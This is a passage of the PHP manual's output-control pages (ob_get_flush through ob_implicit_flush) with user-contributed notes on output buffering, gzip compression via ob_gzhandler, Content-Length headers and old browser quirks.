//using output_buffering=On
print_r(ob_list_handlers());

//save buffer in a file
$buffer = ob_get_flush();
file_put_contents('buffer.txt', $buffer);

print_r(ob_list_handlers());
?>

The above example will output:

Array
(
    [0] => default output handler
)
Array
(
)

See Also

  • ob_end_clean() - Clean (erase) the output buffer and turn off output buffering
  • ob_end_flush() - Flush (send) the output buffer and turn off output buffering
  • ob_list_handlers() - List all output handlers in use

User Contributed Notes

taras dot dot dot di at gmail dot com 14-Aug-2008 04:53
I don't know how exactly this works, but if you call this function, PHP would behave as if headers have been sent (even though the output has gone to a string).

This means that you can't call this function, and then call setcookie for example.

This was verified by trial and error
info at pcdoctor dot fr 08-Jun-2008 05:35
Hi,
this is just to add a behavior that I haven't understud at first place.

ob_get_flush actually returns the content of the buffer as a text but also it sends the buffer back to the browser so that it's displayed on user screen.

Use ob_get_clean if you do not want the buffer to be send to the user
zubin@byron 08-Sep-2005 04:28
Correction to previous post: ob_get_clean() is better, ie:

<?php
// start generating html
$html = '<html><head>'; // etc
// start output buffering
ob_start();
// call function which outputs immediately
print_menu();
// append this to $html and empty buffer
$html .= ob_get_clean();
?>
zubin@byron 31-Aug-2005 10:21
I found this function is useful for storing output instead of displaying it. For example, I wanted to use an old function which echoed the ouput but I wanted it in a variable, not outputted immediately. Here's how:

<?php
// start generating html
$html = '<html><head>'; // etc
// start output buffering
ob_start();
// call function which outputs immediately
print_menu();
// append this to $html
$html .= ob_get_flush();
// empty output buffer
ob_clean();
?>


Return the length of the output buffer

  • « ob_get_flush
  • ob_get_level »
  • PHP Manual
  • Output Control Functions
  • Return the length of the output buffer

ob_get_length

(PHP 4 >= 4.0.2, PHP 5)

ob_get_length — Return the length of the output buffer

Description

int ob_get_length ( void )

This will return the length of the contents in the output buffer.

Return Values

Returns the length of the output buffer contents or FALSE if no buffering is active.

Examples

Example #1 A simple ob_get_length() example

<?php

ob_start();

echo "Hello ";

$len1 = ob_get_length();

echo "World";

$len2 = ob_get_length();

ob_end_clean();

echo $len1 . ", ." . $len2;
?>

The above example will output:

6, 11

See Also

  • ob_start() - Turn on output buffering
  • ob_get_contents() - Return the contents of the output buffer

User Contributed Notes

Nitrogen 14-Feb-2009 06:34
I use this function to produce a small speed test in my pages since I run my website from my home computers.

<?php
ob_start();
$StartTime=microtime(1);
?>
.. webpage data goes here ..

<?php
// footer?
printf("%s seconds to produce (%skb/sec)",
  microtime(1)-$StartTime,
  Round((ob_get_length()/(microtime(1)-$StartTime))/1024));

ob_end_flush();
?>

Note: don't forget the "speed" depends on how quick the content is actually generated and not on the speed the data is sent to the client..
However it would be good to see such function to get the real speed. :)

Nitrogen.
stangelanda at arrowquick dot com 03-Aug-2007 05:36
If you don't buffer your output, it doesn't seem like it would be possible for a web server to output a Content-Length header.  For static files it can check the filesize, but for dynamic files that send output a little by little there is no way to know how many bytes it is going to output.  And the headers have to be sent before a single byte is output.

Also if you're wondering why the Content-Length is important, the browser doesn't close the connection as long as the script is running.  So if you register time consuming shutdown functions, the browser will still 'spin' waiting for more content until they complete.  (I'm not sure this happens under all conditions, but I am certain the sending the Content-Length always prevents this.)

You might take note that this manual page does not currently output any Content-Length header.

Alternatively using mb_strlen($output, 'latin1') seems to work to determine bytes in a string.  strlen may or may not depending on if it has been set up as a multibyte or not.
Sinured 11-Jul-2007 12:25
> Dude, your web server will compute Content-length for you!

I've noticed that Apache 1.3 doesn't do that.
However, if you’re running Apache 2.2 (and maybe 2.0, haven't experienced that yet) you don't need to worry about Content-Length.
18-Jan-2007 10:49
Dude, your web server will compute Content-length for you!
rush at logic dot cz 02-Dec-2005 11:02
There is a work-around for the situation you need to get length of the gz-ed buffer.

ob_start();
ob_start('ob_gzhandler');

  ... output the page content...

ob_end_flush();  // The ob_gzhandler one

header('Content-Length: '.ob_get_length());

ob_end_flush();  // The main one

more info at http://www.edginet.org/techie/website/http.html
webmaster at crescentart dot com 29-Jun-2001 10:58
Here is an easy way to get the header Content-Lenght.
<?
ob_start();
?>

Put HTML tags.

<?
$size=ob_get_length();
header("Content-Length: $size");
ob_end_flush();
?>


Return the nesting level of the output buffering mechanism

  • « ob_get_length
  • ob_get_status »
  • PHP Manual
  • Output Control Functions
  • Return the nesting level of the output buffering mechanism

ob_get_level

(PHP 4 >= 4.2.0, PHP 5)

ob_get_level — Return the nesting level of the output buffering mechanism

Description

int ob_get_level ( void )

Returns the nesting level of the output buffering mechanism.

Return Values

Returns the level of nested output buffering handlers or zero if output buffering is not active.

See Also

  • ob_start() - Turn on output buffering
  • ob_get_contents() - Return the contents of the output buffer

User Contributed Notes

Anonymous 12-Jun-2012 08:04
For users confused about getting "1" as a return value from ob_get_level at the beginning of a script: this likely means the PHP ini directive "output_buffering" is not set to off / 0. PHP automatically starts output buffering for all your scripts if this directive is not off (which acts as if you called ob_start on the first line of your script).

If your scripts may end up on any server and you don't want end-users to have to configure their INI, you can use the following at the start of your script to stop output buffering if it's already started:
<?php
if (ob_get_level()) ob_end_clean();
?>

Alternatively, you can use the opposite if you always want to have an output buffer at the start of your script:
<?php
if (!ob_get_level()) ob_start();
?>
mark dot richards at massmicro dot com 17-Mar-2012 11:24
It was noted that ob_get_level() reports 1 prior to starting buffering, and in php 5.3.6-13 I can confirm this:

    <?php
      echo ob_get_level(); // --> 1
    ?>

It seems an internal counter for the output buffering needs to be initialized.  To start things off properly, this appears to do:

    <?php
      ob_end_clean();
      echo ob_get_level(); // --> 0
    ?>
18-May-2005 05:45
Sometimes, ob_get_level() may be off by 1 because at the start of the script, it will return 1 even if ob_start() has never been called (and clearing the output buffer via ob_end_clean() and the like can be done without error).  As a result, the first ob_start() will have an ob_get_level() of 2, the second will be 3, and so on.

I'm not sure if this is a PHP 5 thing or [if it's related to when a] server is set to gzip all html documents.

Also, up until at least PHP 5.0.4 (current version), ob_get_level() will always return 0 inside a destructor.  This happens because the garbage collection for output buffers has already done before the destructor is called.  If you want to do something with the output buffer from within an object before the script exits, using a callback function with ob_start() is the way to go.
bonzini at gnu dot org 07-Jul-2004 06:03
Even under older PHP, you can decide if output buffering is active (i.e. ob_get_level() > 0) using

   <?php $ob_active = ob_get_length () !== FALSE ?>

Paolo


Get status of output buffers

  • « ob_get_level
  • ob_gzhandler »
  • PHP Manual
  • Output Control Functions
  • Get status of output buffers

ob_get_status

(PHP 4 >= 4.2.0, PHP 5)

ob_get_status — Get status of output buffers

Description

array ob_get_status ([ bool $full_status = FALSE ] )

ob_get_status() returns status information on either the top level output buffer or all active output buffer levels if full_status is set to TRUE.

Parameters

full_status

TRUE to return all active output buffer levels. If FALSE or not set, only the top level output buffer is returned.

Return Values

If called without the full_status parameter or with full_status = FALSE a simple array with the following elements is returned:

Array
(
    [level] => 2
    [type] => 0
    [status] => 0
    [name] => URL-Rewriter
    [del] => 1
)
Simple ob_get_status() results
Key | Value
level | Output nesting level
type | PHP_OUTPUT_HANDLER_INTERNAL (0) or PHP_OUTPUT_HANDLER_USER (1)
status | One of PHP_OUTPUT_HANDLER_START (0), PHP_OUTPUT_HANDLER_CONT (1) or PHP_OUTPUT_HANDLER_END (2)
name | Name of active output handler or ' default output handler' if none is set
del | Erase-flag as set by ob_start()

If called with full_status = TRUE an array with one element for each active output buffer level is returned. The output level is used as key of the top level array and each array element itself is another array holding status information on one active output level.

Array
(
    [0] => Array
        (
            [chunk_size] => 0
            [size] => 40960
            [block_size] => 10240
            [type] => 1
            [status] => 0
            [name] => default output handler
            [del] => 1
        )

    [1] => Array
        (
            [chunk_size] => 0
            [size] => 40960
            [block_size] => 10240
            [type] => 0
            [buffer_size] => 0
            [status] => 0
            [name] => URL-Rewriter
            [del] => 1
        )

)

The full output contains these additional elements:

Full ob_get_status() results
Key | Value
chunk_size | Chunk size as set by ob_start()
size | ...
blocksize | ...

See Also

  • ob_get_level() - Return the nesting level of the output buffering mechanism
  • ob_list_handlers() - List all output handlers in use

User Contributed Notes

There are no user contributed notes for this page.


ob_start callback function to gzip output buffer

  • « ob_get_status
  • ob_implicit_flush »
  • PHP Manual
  • Output Control Functions
  • ob_start callback function to gzip output buffer

ob_gzhandler

(PHP 4 >= 4.0.4, PHP 5)

ob_gzhandler — ob_start callback function to gzip output buffer

Description

string ob_gzhandler ( string $buffer , int $mode )

ob_gzhandler() is intended to be used as a callback function for ob_start() to help facilitate sending gz-encoded data to web browsers that support compressed web pages. Before ob_gzhandler() actually sends compressed data, it determines what type of content encoding the browser will accept ("gzip", "deflate" or none at all) and will return its output accordingly. All browsers are supported since it's up to the browser to send the correct header saying that it accepts compressed web pages. If a browser doesn't support compressed pages this function returns FALSE.

Parameters

buffer

mode

Return Values

Examples

Example #1 ob_gzhandler() example

<?php

ob_start("ob_gzhandler");

?>
<html>
<body>
<p>This should be a compressed page.</p>
</body>
</html>

Notes

Note:

ob_gzhandler() requires the zlib extension.

Note:

You cannot use both ob_gzhandler() and zlib.output_compression. Also note that using zlib.output_compression is preferred over ob_gzhandler().

See Also

  • ob_start() - Turn on output buffering
  • ob_end_flush() - Flush (send) the output buffer and turn off output buffering

User Contributed Notes

Jer 17-Apr-2010 01:17
I've just spent 5 hours fighting a bug in my application and outcome is:

<?php
// do not use
ob_start("ob_gzhandler");
// along with
header('HTTP/1.1 304 Not Modified');

// or in the end use
ob_end_clean();
?>

W3C Standart requires response body to be empty if 304 header set. With compression on it will at least contain a gzip stream header even if your output is completely empty!

This affects firefox (current ver.3.6.3) in a very subtle way: one of the requests after the one that gets 304 with not empty body gets it response prepended with contents of that body. In my case it was a css file and styles was not rendered at all, which made problem show up.
przemekryciuk at gmail dot com 23-Jun-2009 11:34
The simplest way for gzip compression is:
<?php
if(!ob_start("ob_gzhandler")) ob_start();
?>
ob_start("ob_gzhandler") returns FALSE if browser doesn't support gzip, so then is called normal ob_start();
walter 12-Dec-2008 04:48
I have a very well tested module in my framework (ie: running in production environments for a couple of years) called 'fastpage', which takes care of both memcaching and gzipping for frequently requested content.  It memcaches one version of each unique page both gzipped and non-gzipped, and returns the appropriate version based upon the browser's Accept-encoding header.

Use is:
$page_spec = array($dependent,$variables,$go,$here);
if(!fastpage_display('content_id',$page_spec)) {
 ... make page here ...
 fastpage_displayed('content_id',$page_spec);
}

Unfortunately, on IE8 beta (in IE8 mode, or in IE7 emulation mode), the fastpage-enabled content was not being un-gzipped.  IE would request the content, a 200 status and correct byte count would appear in the server logfile, and IE would show no errors.  However, CSS would not be applied and Javascript would not execute.

The only fix I can find right now is to disable gzip entirely for this browser.  User agent string is: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727

The same output works fine in firefox (windows, linux, mac), and in safari.

Versions are: zlib 1.2.3-r1 / php 5.2.6-r7 / lighttpd 1.4.20

So much for the 'this has been fixed in IE7' comment, above...
ronald at hidden dot com 26-Aug-2008 10:15
Hi,

if you are using apache, I think you are much better of using apache's compression, as this will also compress static text files (css, js, html, etc) and it will keep your php-code clean.

See http://httpd.apache.org/docs/2.0/mod/mod_deflate.html for an excellent how to.

And for other webservers, I'm pretty sure they have equivalents.

Cheers, Ronald
sugoi82 at removeme dot gmail dot spam dot com 24-Dec-2007 03:09
in reply to nyarl at hotep dot co dot uk;

Your 'solution' doesn't really work since session_id() will return an empty string if there is no session started. Therefore it will never return NULL.
Yes the problem is gone, but also is your output buffering xD

I haven't found a solution to this problem yet... It seems ie6 just doesn't wanna play nice - like it does most of the times.
nyarl at hotep dot co dot uk 10-Dec-2007 03:45
Seems others have had problems with IE6 giving blank pages erratically when using ob_start("ob_gzhandler"). One reason may be that a session has already been started, so try:

<?php
  if (session_id() === null ) ob_start('ob_gzhandler');
?>

Worked for me. :)
TheSeoDude 09-Sep-2007 12:34
I wrote a simple script that I use on my site. Bandwidth consumption dropped dramatically. Pages shrunk 3-5 times.

The script simulates the results of using this function directly but by using regular output buffering with ob_start. So you get to output gzip and play with it before you do.

You can find the script with explanations here:
http://www.tellinya.com/art2/106/gzip-compress-html

Cheers and input is always welcome fellow coders!
maratd at gmail dot com 30-Aug-2007 05:51
Someone previously mentioned that MSIE doesn't cache gzipped content. This is false. He misread the source of information. In fact, IE will cache gzipped content no matter what. Here is the quote from the mailing list:

The reason the COMPRESSED responses are, in fact,
always getting cached no matter what "Vary:" field name
is present is just as I suspected... it is because MSIE
decides it MUST cache responses that arrive with
"Content-Encoding: gzip" because it MUST have a
disk ( cache ) file to work with in order to do the
decompression.

Source: http://lists.over.net/pipermail/mod_gzip/2002-December/006826.html
tehjosh at gamingg dot net 02-Aug-2007 01:18
faisun at sina dot com:
If you read up on output buffering, you'll see that if an output buffer callback returns false, this instructs PHP to output the original string untouched.  That's why ob_gzhandler() returns false if the encoding is not supported.   When ob_start("ob_gzhandler") is used and encoding is not supported, ob_gzhandler() will return false and PHP outputs the original, uncompressed string.

jsnell at e-normous dot com:
Output buffering callback functions accept up to two parameters, so this would probably work better for your situation:

<?php
function ob_gz_handler_no_errors($buffer, $mode)
{
    @ob_gzhandler($buffer, $mode);
}

ob_start('ob_gzhandler_no_errors');
?>

However, if you're trying to suppress errors caused by headers already being sent, it would be better to start the output buffering earlier, before any output can be sent.
jsnell at e-normous dot com 31-May-2007 08:04
If you want to suppress errors (such as for cases when headers are already sent) and you don't want to write or patch your error_handler, you need to create an intermediate callback:

function ob_gz_handler_no_errors($buffer)
{
    @ob_gzhandler($buffer);
}

ob_start('ob_gzhandler_no_errors');
sredhead 27-Feb-2007 12:35
One of the earlier posts says caching of gzipped files is broken in all versions of MSIE. The following blog entry appears to declare that this has been fixed in IE7, but I haven't verified this.

http://blogs.msdn.com/ie/archive/2005/10/31/487509.aspx
nicolas dot grekas+php at gmail dot com 28-Jan-2007 07:45
Here are some precisions :

- the "mode" arg accepts a bit field composed of PHP_OUTPUT_HANDLER_START, PHP_OUTPUT_HANDLER_CONT and PHP_OUTPUT_HANDLER_END. See http://www.php.net/manual/fr/ref.zlib.php#56216 for an example. The value that jazfresh recommends below (5) is the good one, because 5 == PHP_OUTPUT_HANDLER_START | PHP_OUTPUT_HANDLER_END.

- when called INSIDE an output buffering handler, ob_gzhandler DOES NOT return false when the browser doesn't support compressed pages. It rather returns the original string.
fpiat at bigfoot dot com 27-Aug-2006 02:55
DON'T compress/gzip your Error pages :

i can think of two good reasons not to compress your error pages:
1. You want to make sure that people can read you error pages, don't you ?
2. Compressing pages have a "side effect" : it's smaller !! if you return "HTTP/1.x 404 Document Not fount" (or any other HTTP error), MSIE will display it's built in error message, not yours if it's small than 513bytes. (see "HOW TO: Turn Off the Internet Explorer 5.x and 6.x 'Show Friendly HTTP Error Messages' Feature on the Server Side" http://support.microsoft.com/default.aspx?scid=kb;en-us;Q294807 )
spam_this at zleelz dot com 27-Aug-2006 08:49
When writing scripts for distribution, I would usually "null" out the following deprecated superglobals so that users who uses the script will not be able to use them.
<?php
$HTTP_GET_VARS = null;
$HTTP_POST_VARS = null;
$HTTP_COOKIE_VARS = null;
$HTTP_POST_FILES = null;
$HTTP_SERVER_VARS = null;
?>

However, when using ob_start('ob_gzhandler'), one of those superglobals somehow disable this function.

Found out that it was $HTTP_SERVER_VARS that's causing the problems.

<?php
ob_start('ob_gzhandler');

$HTTP_GET_VARS = null;
$HTTP_POST_VARS = null;
$HTTP_COOKIE_VARS = null;
$HTTP_POST_FILES = null;
/**
 * Causing the trouble
 */
//$HTTP_SERVER_VARS = null;
?>

I don't know why it does that, but I just want to point that out.
richard at mf2fm dot com 11-Jul-2006 11:50
According to the manual, if ob_gzhander detects that the browser is unable to support deflate or gzip it returns FALSE.  Does this mean that if you use ob_start("ob_gzhandler"), any browsers that do not support gzip/deflate will receive a blank page?

I've been having problems with IE6 displaying gzipped pages and adding a test:

<?php

if (substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')) ob_start("ob_gzhandler");

else ob_start();

?>

solved the problem.  Surely if ob_gzhandler detects a lack of support for deflation it should return the input unchanged and not FALSE?
michael at michaelphipps dot com 30-Apr-2006 12:34
It is also possible to use ob_gzhandler to compress css and javascript files, however some browsers such as firefox expect content type text/css on css files.

To get around this send a content type header:

<?php
ob_start('ob_gzhandler');
?>

.... your css content ...

<?php
header("Content-Type: text/css");
header("Content-Length: ".ob_get_length());
ob_end_flush();
?>
mariusads[at]helpedia[dot]com 04-Feb-2006 06:56
Please be aware that, as other users have already mentioned, the compression will fail if there are characters before the php start tag "< ?".

This is also the case when saving files in UTF-8 format with editors such as Ultraedit. Make sure you save the file using the defined option UTF-8 NO BOM or delete the BOM otherwise the two UTF BOM characters will be written at the start of the file.
lapoint2 at msu dot edu 07-Sep-2005 03:40
So why doesn't the web server just do this by default?
This works for me if I do:
ini_set('zlib.output_compression_level', 3);  ob_start("ob_gzhandler");
or even just:
ob_start("ob_gzhandler");

I did the level 3 compression, I think the default was 6 and I didn't want to put too much load on the server.  For a 895k file (my largest) the compression levels were:
1 = 189k
3 = 178k
4 = 163k
6 = 156k    (I believe 6 is the default if you leave out the ini_set)
9 = 155k
I use http://www.whatsmyip.org/mod_gzip_test/ to check the sizes.

FYI: This works with dynamic files in Movable Type 3.x (I'm testing it in 3.2) I've got the above command in the first line of my mtview.php file.

More info here: http://www.whatsmyip.org/forum/viewtopic.php?t=43

On several sites I've read the some browsers don't like compressed CSS.
Tony Piper 14-Jun-2005 04:11
I just spent 30 minutes wondering why my browser wasn't getting the gzipped version :-O

If you're using Google Web Access your pages will  be delivered to the browser uncompressed unless you tell GWA to ignore the specific site.

Obvious, really.
25-May-2005 12:27
No matter the circumstances, you MUST NOT check the user agent string to find out if gzip compression is enabled. HTTP defines the Accept-Encoding header for exactly this purpose and you MUST check it before enabling compression.
m at rtij dot nl 16-Apr-2005 02:29
All versions of MSIE have a bug where they don't cache gzipd contents. If your application depends on caching, this is something to keep in mind. In the end, I did:

<?php

// These are so benificial, they default to true.
if (!isset($use_page_cache))
    $use_page_cache = 1;
if (!isset($use_compression))
    $use_compression = 1;

// Add browsers here as we must detect them. Opera is an oddball, if we don't detect
// it specifically, it will turn up as MSIE

$browser="other";
if (isset($_SERVER['HTTP_USER_AGENT'])) {
    $agent = $_SERVER['HTTP_USER_AGENT'];
    if (eregi("opera",$agent)){
    $browser="opera";
    }elseif(eregi("msie",$agent)){
    $browser="msie";
    }
}

if ($use_compression && !( $use_page_cache && $browser == "msie")) {
    // Turn on compression, makes quite a difference in bandwith usage.
    // However, MSIE (all versions) have a bug with compression and caching. So for MSIE
    // it's either compression or caching. We choose caching.
    ob_start('ob_gzhandler');
}

session_cache_limiter("must-revalidate");

session_start();

// ... put stuff in $content ...

if ($use_page_cache) {
    // MD5 is slow, however with a fast server (PIII or better) we should be OK
    $hash = md5($content);
    $headers = getallheaders();
    if (isset($headers['If-None-Match']) && ereg($hash, $headers['If-None-Match']))
    {
    header('HTTP/1.1 304 Not Modified');
    exit;
    }
    header("ETag: \"$hash\"");
}

print $content;

?>
grange (at) club-internet (dot) fr 07-Mar-2005 04:17
It may seem obvious but if you use ob_start("ob_gzhandler"),  make sure no content is unintentionally echo'ed before : this could be blank lines before '<?php' or after '?>' tags in included files or even errors.

Otherwise, only a part of the content (the content sent after ob_start()) will be compressed, which will confuse the client.

Setting compression using zlib.output_compression either in php.ini or in Apache configuration file (with directive php_flag) is safer in this regard.
wallacebw at some-domain dot com 22-Feb-2005 06:50
IE 6+ appears to validate the CRC and disgard invalid gzip content FYI...
Brian
andy dot rem dot ove dot this at occ dot be 01-Apr-2004 11:21
From what I can understand, quite some people seem to have problems with this functionality.  If you want to do this quick, like i did, you can use the outstanding class gzip_encode made by Leknor at http://leknor.com/code/php/view/class.gzip_encode.php.txt
mazsolt at yahoo dot com 18-Mar-2004 04:20
if you want to send an output to the browser (which accepts gzip), and you haven't set the buffering callback ob_start("ob_gzhandler"), you may use the gzencode() function.

header("Content-Encoding: gzip");
echo gzencode("some output", 9, FORCE_GZIP);
daijoubuNOSP at Mvideotron dot ca 27-Oct-2003 11:05
So much code...here's a lighter/faster one:
<?php

if ( $do_gzip_compress )
{
    $gzip_size        = ob_get_length();
    $gzip_contents    = ob_get_clean(); // PHP < 4.3 use ob_get_contents() + ob_end_clean()

    echo "\x1f\x8b\x08\x00\x00\x00\x00\x00",
         substr(gzcompress($gzip_contents, 9), 0, - 4), // substr -4 isn't needed
         pack('V', crc32($gzip_contents)),    // crc32 and
         pack('V', $gzip_size);               // size are ignored by all the browsers i have tested
}

exit;
?>
I wouldn't recommande using level 9, waste of CPU, something between 1 and 6 would be more resonable
I have tested without the substr/crc/size and it worked flawlessly in IE5/5.5/6, Opera7.11/7.21, IE5.5 MAC
brewthatistrue at plzYnoAspamHorOevilO dot com 21-Sep-2003 11:04
i had a LOT of trouble trying to get gzipping working correctly
i kept getting a blank page on the first load, although subsequent pages loaded fine.
i tried stuff with ob_flush and ob_end_clean and all kinds of stuff i didn't understand. i'm totally confused about different versions of php and different methods of gzipping.

in the end, i got it working (maybe i'll understand it later).
i ended up using phpBB's code (stripped of non-gz stuff, and ever-so-slightly modified)
http://phpbb.com/

index.php:
------------
<?php
require_once('top.php');

echo "<html>\n<head>\n<title>Gzip Test</title>\n<body>\n<h1>testing</h1>\n</body>\n</html>";

require_once('bottom.php');
?>

gz_header.php - taken form phpBB's page_header.php
--------------
<?php
    $phpver = phpversion();

    $useragent = (isset($_SERVER["HTTP_USER_AGENT"]) ) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT;

    if ( $phpver >= '4.0.4pl1' && ( strstr($useragent,'compatible') || strstr($useragent,'Gecko') ) )
    {
        if ( extension_loaded('zlib') )
        {
            ob_start('ob_gzhandler');
        }
    }
    else if ( $phpver > '4.0' )
    {
        if ( strstr($HTTP_SERVER_VARS['HTTP_ACCEPT_ENCODING'], 'gzip') )
        {
            if ( extension_loaded('zlib') )
            {
                $do_gzip_compress = TRUE;
                ob_start();
                ob_implicit_flush(0);

                header('Content-Encoding: gzip');
            }
        }
    }
?>
gz_footer.php - taken form phpBB's page_tail.php
------------
<?php
// Compress buffered output if required and send to browser
if ( $do_gzip_compress )
{
    //
    // Borrowed from php.net!
    //
    $gzip_contents = ob_get_contents();
    ob_end_clean();

    $gzip_size = strlen($gzip_contents);
    $gzip_crc = crc32($gzip_contents);

    $gzip_contents = gzcompress($gzip_contents, 9);
    $gzip_contents = substr($gzip_contents, 0, strlen($gzip_contents) - 4);

    echo "\x1f\x8b\x08\x00\x00\x00\x00\x00";
    echo $gzip_contents;
    echo pack('V', $gzip_crc);
    echo pack('V', $gzip_size);
}

exit;
?>

i must admit to not seeing this working in opera 7.11. perhaps i will figure that one out.
if there is anything i should change email me and i can edit my post
jazfresh at SPAM-JAVELIN dot hotmail dot com 18-Sep-2003 04:54
In the set_error_handler notes, there is a technique described for capturing all errors (even parse errors) before they are displayed the user, using a special error handler and output handler. If this output handler detects a fatal error in the output buffer, it's captured and dealt with before it can be displayed to the user. If no error was detected, then output buffer is displayed verbatim (i.e. without being compressed).

If you are using this method, you can still take advantage of ob_gzhandler's compression. However, you MUST specify a mode argument (I'm using 4.2.2 on RedHat9). The mode value affects which headers are automatically added (Content-Encoding, etc). A value of '5' worked for me. '0' or discarding the argument produces a blank screen under Mozilla.

<?php

function my_output_handler(&$buffer) {
  // Detect errors in the output
  if(ereg("(error</b>:)(.+) in <b>(.+)</b> on line <b>(.+)</b>", $buffer, $regs)) {
    my_error_handler(E_ERROR, $regs[2], $regs[3], $regs[4]);
    // ...
    // ... Insert your error handling here ...
    // ...
    return 'An internal error occurred.';
  } else {
    // The page rendered without any errors, so compress
    // and output.
    return ob_gzhandler($buffer, 5);
  }
}
?>
daijoubu at videotron dot ca 07-Sep-2003 01:35
About the previous note from Davey:

ob_start(array('ob_gzhandler',9));

Does not work. The output size isn�t affected at all, stays the same.

ob_gzhandler compression level use zlib.output_compression_level, which is -1 per default, level 6.

To change the compression level on the fly, simply use ini_set:
<?php
ini_set('zlib.output_compression_level', 1);
ob_start('ob_gzhandler');
echo 'This is compressed at level 1';
?>
nospam at 1111-internet dot com 15-Apr-2003 10:47
Following up on my previous post - it appears that while:

<?php
ini_set("zlib.output_compression", "Off"); // with no headers yet sent
// followed by the rest of your code...
?>

did not work in php 4.2.3, it did begin to work as of php 4.3.0 as an override to the php.ini "zlib.output_compression=on" setting. I did not see this in the change log.

In light of this, I'd say using zlib.output_compression is definitely the way to go over ob_gzhandler() in most cases.
09-Apr-2003 07:47
When using ob_start("ob_gzhandler"), be aware that the output buffer has to be flushed in order to invoke the ob_gzhandler callback function.

This may not always happen. For example, if you use ob_get_contents() to copy the output buffer to a string for further manipulation and then silently discard the buffer with ob_end_clean(), the output buffer is never "flushed" and as a result, the ob_gzhandler callback function is never invoked. And your pages won't be compressed.

This will be the case, for example, if you use the PHP Fusebox architecture/framework.
davey at its-explosive dot net 04-Apr-2003 03:41
To pass the second argument to ob_gzhandler() which specifies what level of compression should be used (which I assume is 1-9 as with the gzip binary, with 9 using the most processor and time to do, 4 is the standard IIRC) you must call ob_start() like so:

ob_start(array('ob_gzhandler',9));

- Davey
nospam at 1111-internet dot com 09-Mar-2003 12:23
Differences between zlib.output_compression and ob_gzhandler:

zlib.output_compression runs in parallel with script execution - it begins compressing as soon as it receives any output from your script, and sends data to the client each time its buffer (4K by default) gets full. ob_gzhandler (actually 'ob_start("ob_gzhandler");') will not start compressing until the script flushes (or, usually, exits), and will in turn send the entire compressed document at once - which makes it more susceptible to causing a perception of latency.

Advantage: zlib.output_compression

On the other hand, ob_gzhandler gives you script-level control allowing you to use it selectively or to unset it after setting it in certain cases. Despite some documentation to the contrary, zlib.output_compression does not appear to be able to be set or unset on a script level; you must instead set it globally (in php.ini) or in your webserver configs or .htaccess files, possibly using FilesMatch-type mechanisms to control which scripts it will or won't apply to - which could get unwieldy for large projects - particularly those which employ PHP to produce images and other non-text output in addition to normal text output.

Advantage: ob_gzhandler

Net advantage: depends on your particular needs. I'm trying zlib.output_compression for now, but I miss the flexibility that ob_gzhandler would provide.

p.s. here's an Apache 1.3.* httpd.conf/.htaccess file snippet that demonstrates the syntax for conditionally setting zlib.output_compression:

<FilesMatch "\.(php|html?)$">
# turn it on with the buffer set to 2K using php_value
php_value zlib.output_compression 2048
# or just turn it on using php_flag
# php_flag zlib.output_compression On
</FilesMatch>
aki at robotnik dot net 04-Mar-2003 08:13
if you get errors like:
"output handler 'ob_gzhandler' cannot be used twice"
if you are using
"ob_start("ob_gzhandler");"

check for your php.ini file, it should look like this:

output_buffering = Off  ; delete the 4096k value
output_handler =
zlib.output_compression = Off
dsugar100 at dolphinsoft dot com 07-Nov-2002 12:33
I have noticed that if you have the php setting for zlib.output_compression set to 'On' AND you attempt to use hte ob_gzhandler handler to ob_start () the output you get in the browser WILL be garbled in PHP 4.2.3.  I'm guessing that the output buffering is compressing the output to be sent, and then zlib is doing it a second time, but the browser is only uncompressing it once.

But using either one will give you the same results (compressed output from the script)
nid at home dot se 30-Sep-2002 01:10
If you are trying to use the ob_gzhandler in a MSHTA (Microsoft HTML Application) you will find that your pages does not show up. the MSHTA-browser probably says it can handle gzip, but it just won't work (IE:6, PHP:4.1.2)
psychones at ifrance dot com 08-Aug-2002 02:18
Problem revelate by xn@bnw.com

cause real problem when you have a global call
to ob_gzhandler , for example in an include configuration
file , and you want send a non gzip content , for any reason ...

To resolve it ,

put this after your global call to ob_gzhandler

include("conf_that_call_ob_gzhandler.php");
-->ob_end_clean();
-->header("Content-Encoding: none");

If you try to overload the header before the the ob_gzhandler call
or during the buffering output , it will not work .
( probably erase at the call of ob_gzhandler  and not allow during
buffering ).

Hope this help
isoma at altavista dot net 24-Jun-2002 04:44
RFC 2616 suggests that a more correct way to compress documents on the fly is to use gzip transfer encoding rather than gzip content encoding.    However, it's perhaps not advisable to use this since client support for it is extremely limited.

The difference is most evident when you come to save a file from your browser.  If it's gzip content encoded then the browser should (and may well) save it gzipped.  If it's gzip transfer encoded then the browser should uncompress it first.
Sven dot Dickert at planb dot de 29-May-2002 01:54
Following Browsers send
Accept-Encoding: gzip
but have Problems with
Content-Encoding: gzip

* netscape < 5 have problems with CSS/Javascript parts sendet in gzip
* opera 5.x,6 store downloads compressed
* lynx 2.8.4 store downloads compressed but tells this with attaching ".gz" to the filename

You should know about:
* Internet Explorer 5.x,6 should turned to HTTP 1.1 to get "Accept-Encoding: gzip"
* In Mozilla 1.0 RC2 you can write the "Accept-Encoding:" in Preferences/Advanced/HTTP Networking
xn at bnw dot com 13-Apr-2002 05:40
if you call ob_end_clean() after ob_start("ob_gzhandler"), the "Content-Encoding: gzip" header will still get sent (assuming the browser supports the encoding).  if you don't call ob_start() again with the ob_gzhandler callback function, the output will not be compressed, but the header will say it is.  this causes mozilla (as of build 2002032808) to display a blank page.
junior at jaj dot com 04-Mar-2002 07:12
To get this to work properly, you have to compile PHP with "--with-zlib". If you don't, you won't get any errors, it just won't actually compress anything. This is a phenomenal thing. For just a small bit of processor time, you can DRASTICALLY reduce the bandwidth requirement of your scripts. There are very few circumstances in which this should not be used.


Turn implicit flush on/off

  • « ob_gzhandler
  • ob_list_handlers »
  • PHP Manual
  • Output Control Functions
  • Turn implicit flush on/off

ob_implicit_flush

(PHP 4, PHP 5)

ob_implicit_flush — Turn implicit flush on/off

Description

void ob_implicit_flush ([ int $flag = true ] )

ob_implicit_flush() will turn implicit flushing on or off. Implicit flushing will result in a flush operation after every output call, so that explicit calls to flush() will no longer be needed.

Parameters

flag

TRUE to turn implicit flushing on, FALSE otherwise.

Return Values

No value is returned.

See Also

  • flush() - Flush system output buffer
  • ob_start() - Turn on output buffering
  • ob_end_flush() - Flush (send) the output buffer and turn off output buffering

User Contributed Notes

rocca at start dot ca 09-Oct-2007 08:42
